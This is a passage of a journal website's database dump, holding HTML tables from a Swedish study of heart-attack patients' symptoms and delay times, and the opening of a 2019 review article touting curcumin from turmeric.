</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">37 (35)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Had got information in media about MI</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90 (37)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41 (38)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Informed by medical staff about MI symptoms</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27 (11)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14 (13)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Other source of information</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30 (12)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (18)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Data are presented as numbers (percentages) if not otherwise indicated. *NRS = Numeric Rate Scale (0-10). IQR = Inter Quartile Rate.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2: </strong>Symptoms and interpretation of symptoms.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:219.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:92.1pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">South</span></strong></p>\r\n\r\n			<p><strong><span style=\"font-size:10.0pt\">n=357</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:84.65pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">North</span></strong></p>\r\n\r\n			<p><strong><span style=\"font-size:10.0pt\">n=174</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:62.75pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">p-values</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Contextual factors</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">At home at onset of symptoms</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">282 (79)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">125 (72)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.08</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Alone at onset</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">81 (23)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">59 (34)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.01</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Self-medication</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Aspirin</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">23 (6)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">13 (7)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Painkillers</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">70 (20)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">20 (11)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.02</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Nitroglycerin </span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">55 (15)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">18 (10)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">First consultation</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Contact with relatives</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">264 (74) </span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">131 (75)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Contact with healthcare</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">59 (17)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">25 (14)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Main reason to go to hospital</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Severe symptoms</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">132 (37)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">72 (41)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">&ldquo;thought I had a heart attack&rdquo;</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">83 (23)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">33 (19)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">&ldquo;thought I suffered from a serious illness&rdquo;</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">9 (3)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">3 (2)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">&ldquo;</span><span style=\"font-size:10.0pt\"><span style=\"color:#222222\">wasinstructed toseekmedical carefrom another person&rdquo;</span></span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">67 (19)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">34 (20)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Heard about reperfusion therapy</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">331 (93)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">162 (93)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">First Medical Contact</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Emergency Medical Services</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">162 (54)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">64 (44)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.05</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Swedish Healthcare Direct</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">60 (20)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">33 (23)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Primary Healthcare Centre (direct)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">23 (8)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">15 (10)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Primary Healthcare Centre (telephone)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">16 (5)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">10 (7)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Emergency room</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">38 (13)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">23 (16)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Transportation to hospital</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Arriving by ambulance</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">310 (87)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">133 (76)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.004</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Prehospital reperfusion therapy</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Fibrinolytic treatment</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">1 (&lt;1)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:84.65pt\">\r\n			<p><span style=\"font-size:10.0pt\">52 (30)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:62.75pt\">\r\n			<p><span style=\"font-size:10.0pt\">&lt;0.001</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in\">Data are presented as numbers (percentages) if not otherwise indicated.</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3: </strong>Course of events</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:219.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:92.1pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">South</span></strong></p>\r\n\r\n			<p><strong><span style=\"font-size:10.0pt\">n=357</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:90.7pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">North</span></strong></p>\r\n\r\n			<p><strong><span style=\"font-size:10.0pt\">n=174</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; text-align:center; width:56.7pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">p-values</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Patient delay time</span></strong></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=278</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=140</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Symptoms onset to FMC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">75 (34 &ndash; 182)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">70 (32 &ndash; 176)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">System delay time</span></strong></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=273</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=143</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">FMC to diagnosis </span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">27 (15 &ndash; 48)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">31 (16 &ndash; 63)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><strong><span style=\"font-size:10.0pt\">Total delay time</span></strong></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=341</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">n=169</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center; width:219.5pt\">\r\n			<p><span style=\"font-size:10.0pt\">Symptom onset to diagnosis</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:92.1pt\">\r\n			<p><span style=\"font-size:10.0pt\">108 (64 &ndash; 246)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:90.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">120 (68 &ndash; 233)</span></p>\r\n			</td>\r\n			<td style=\"text-align:center; width:56.7pt\">\r\n			<p><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"text-align:center; width:459pt\">\r\n			<p><span style=\"font-size:10.0pt\">FMC = First Medical Contact. Exact times are not available for all patients and therefore the numbers of patients differ between the groups.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>Delay times in minutes (25<sup>th</sup> &ndash; 75<sup>th</sup> percentiles)</span></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n','1553135817.pdf','','1553135819.jpg','',0,1,'2019-03-21 08:06:59','2019-03-21 15:30:59',1),(46,20,'20','2019','CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!','Divya R1, Ashok V2, Rajajeya kumar M3*','Review Article','CURCUMIN-The-Golden-Nutraceutical-from-The-Most-Powerful-Herb-in-the-Planet-Turmeric','CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!','CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!','CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!','<p style=\"text-align:center\"><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Chronicles of Complementary, Alternative &amp; Integrative Medicine</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\"><strong>CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Divya R<sup>1</sup>, Ashok V<sup>2</sup>, Rajajeya kumar M<sup>3*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Physiology, Karpagam Faculty of medical sciences and research, Coimbatore, India. (Affiliated by Dr. MGR Medical University, Chennai).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2</sup>Department of Biochemistry, Karpagam Faculty of medical sciences and research, Coimbatore, India. (Affiliated by Dr. MGR Medical University, Chennai).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>3</sup>Department of Physiology, Trichy SRM Medical College Hospital &amp; Research Centre, Trichy, 621105. (Affiliated by Dr. MGR Medical University, Chennai).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author: </strong>Rajajeya kumar M, Department of Physiology, Trichy SRM Medical College Hospital &amp; Research Centre, Trichy, 621105. (Affiliated by Dr. MGR Medical University, Chennai) Tel: +919751382650; Email: <a href=\"mailto:rajakumar60@gmail.com\">rajakumar60@gmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Divya R, Ashok V, Rajajeya kumar M (2019) CURCUMIN: The Golden Nutraceutical from The Most Powerful Herb in the Planet-Turmeric!!. Chronic Complement Altern Integra Med: CCAIM-100004</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>16 March, 2019; <strong>Accepted Date: </strong>19 March, 2019; <strong>Published Date: </strong>25 March, 2019</span></p>\r\n','','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Turmeric: The Most Powerful Herb in The Planet</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Turmeric is one of the chief essential of Indian cooking. It is added flagrantly in the curries and various favoured Indian dishes [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Turmeric is considered of the top most herb nutrients in the world. It was utilised all-through the olden times by some of the most active health care benefactors in the world. A plant called <em>Curcuma longa</em>, native of India and other Southeast Asian countries producesTurmeric. The dried out root of this plant is pulverized to a characteristic colored yellow powder called the turmeric powder. The turmeric contains more than a few chemical composites called curcuminoids. Curcumin is the most dynamic compound of turmeric. It is because of the presence of Curcumin; turmericis called the functional food. According to the Mayo clinic, beyond basic nutritional benefits, functional foods have a significant positive effect on health of the user. Turmeric helps in fighting and possibly reversing the disease process. The health benefits of turmeric are amazingly massive and very methodically researched. Presently, more than 12,500 peer-reviewed research articles published across the world evidencing the health benefits of turmeric, specifically one of its prominent therapeutic component, the curcumin [1].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Why Curcumin Is Called the Golden Nutraceutical?</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Curcumin holds antimicrobial, anti?inflammatory, antidepressant, antioxidant, antidiabetic, antigrowth, antiarthritic, anticancer, antiaging, anti-atherosclerotic, memory?enhancing, wound healing properties.<sup> </sup>Furthermore, it also has radio sensitization, chemo sensitization and chemo preventive features [1,2]. For various illnesses like hepatic disorders, dermatitis, acne, gynaecological disorders, rash, infectious diseases, gastric infections, blood disorders, psoriasis, and other chronic disorders were treated using turmeric in customary Indian medicine [3] Various in vivo research demarcated the therapeutic potential of curcumin against various types of cancers, diabetes neurodegenerative disorders, atherosclerosispro?inflammatory diseases, depression and obesity [3].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Curcuminis Multifunctional</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Curcumin acts as a multitargeted agent has been shown to exhibit anti?inflammatory action due the with holding of several cell signalling pathways such as NF?&kappa;B, STAT3, Nrf2, ROS and COX?2 at the molecular level. It has been proven in more than a few studies that the curcumin has an extremely powerful antimicrobial agent and acts against innumerable chronic diseases such as obesity cancers, diabetes, and neurological autoimmune cardiovascular, pulmonary diseases. Moreover, curcumin has a synergistic mode of action when combined with the other nutraceuticals such as piperine, catechins, genistein, quercetin and resveratrol. So far, more than 100 diverse clinical trials done with curcumin, showed the tolerability, safety, and its efficacy against several chronic ailments in human beings [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Drawbacks in Utility of Curcumin</strong></span></p>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Colour</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Lack of water solubility </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Poor absorption</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Rapid metabolism </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Rapid systemic elimination</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Low bioavailability</span></li>\r\n</ul>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The efficacy of curcumin is pointedly stalled by its colour, absence of water solubility and low-slung bioavailability. Meagre absorption, swift metabolism and speedy systemic elimination are linked with the main reasons contributing to the low-slung bioavailability of curcumin in tissue and plasma. Under physiological conditions, its active methylene group and &beta;?diketone moiety makes curcumin unstable[4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Modified Curcumin Analogues/Derivatives</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diverse structural modifications resulted in active methylene and carbonyl substituted curcumin analogues. These derivatives possess enhanced antioxidant activity. Using different alterations in the chemical structure, several synthetic analogues of curcumin are obtained. The demethoxy curcumin and bidemethoxy curcumin are the natural analogues of curcumin which were testified to have a parallel bioavailability to curcumin [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span 